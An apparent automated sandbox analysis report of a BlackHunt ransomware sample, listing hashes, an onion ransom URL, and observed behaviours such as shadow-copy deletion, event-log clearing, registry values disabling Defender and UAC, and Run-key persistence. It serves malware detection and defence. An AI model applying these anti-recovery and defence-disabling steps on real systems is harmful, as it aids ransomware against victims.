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Analysis
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max time kernel
143s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
18/01/2024, 22:25
Static task
static1
Behavioral task
behavioral1
Sample
075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe
Resource
win10v2004-20231215-en
General
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Target
075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe
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Size
707KB
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MD5
f59f5b6614c4ad584bea12ec855418ff
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SHA1
8c7f51c7eceb6b40b7bc430b2e0450ba63d60c89
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SHA256
075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382
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SHA512
b252eeaab902b5d3e372b767959b74d375e7ab2fd445b16b9f9e7d4469ddfeec1410593b81e648b9b2a9dfd0fd506b70125d8780c4975ca783c73ec80136c37d
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1+8Svnh:6uaTmkZJ+naie5OTamgEoKxLW98h
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 5292 fsutil.exe 296 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 5980 wevtutil.exe 5296 wevtutil.exe 8612 wevtutil.exe 2808 wevtutil.exe 9152 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 5272 bcdedit.exe 5268 bcdedit.exe 6848 bcdedit.exe 6472 bcdedit.exe -
Renames multiple (3356) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 5280 wbadmin.exe 4060 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Key value queried \REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\R: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\X: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\B: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\Q: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\T: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\Z: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\H: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\J: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\V: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\M: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\W: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\E: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\A: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\Y: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\U: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\O: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\G: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\N: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\I: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\L: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\K: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\P: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\S: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 5 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\exportpdf-selector.js 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\da-dk\ui-strings.js 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\fr-ma\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ta\LC_MESSAGES\vlc.mo 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ro-ro\ui-strings.js 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\nb-no\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\da-dk\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\nb-no\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-il\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\sl-sl\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\VideoLAN\VLC\lua\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\VideoLAN\VLC\lua\playlist\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\S_IlluEmptyStateCCFiles_280x192.svg 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\da-dk\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\vlc.mo 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sk-sk\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\cs-cz\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\plugin.js 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\Java\jdk-1.8\include\jvmticmlr.h 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\arrow-left.png 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jopt-simple.md 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\hr-hr\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\eu-es\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\cstm_brand_preview.png 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ko-kr\ui-strings.js 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\7-Zip\Lang\mk.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AGMGPUOptIn.ini 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sl-si\ui-strings.js 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\zh-tw\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\themes\dark\s_close_h.png 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\tr-tr\ui-strings.js 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\hr-hr\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\spectrum_spinner_process.svg 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ro-ro\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\pt-br\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\images\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-gb\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\VideoLAN\VLC\locale\af\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\VideoLAN\VLC\locale\tl\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ar-ae\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\da-dk\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\dumpmeta.luac 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\css\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\zh-cn\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Google\Update\Install\{BB1DEBA4-2D0E-4BD3-A275-B48259468944}\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\pl-pl\ui-strings.js 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\zh-cn\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\css\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\jopt-simple.md 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\security\trusted.libraries 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\VideoLAN\VLC\locale\gd\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pt-br\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\SendMail.api 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 1768 6812 WerFault.exe 291 -
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1616 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4424 vssadmin.exe 5248 vssadmin.exe 2580 vssadmin.exe 2132 vssadmin.exe 780 vssadmin.exe 744 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 5560 taskkill.exe -
Modifies registry class 9 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000_Classes\Local Settings cmd.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 6516 PING.EXE -
Suspicious behavior: EnumeratesProcesses 36 IoCs
pid Process 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
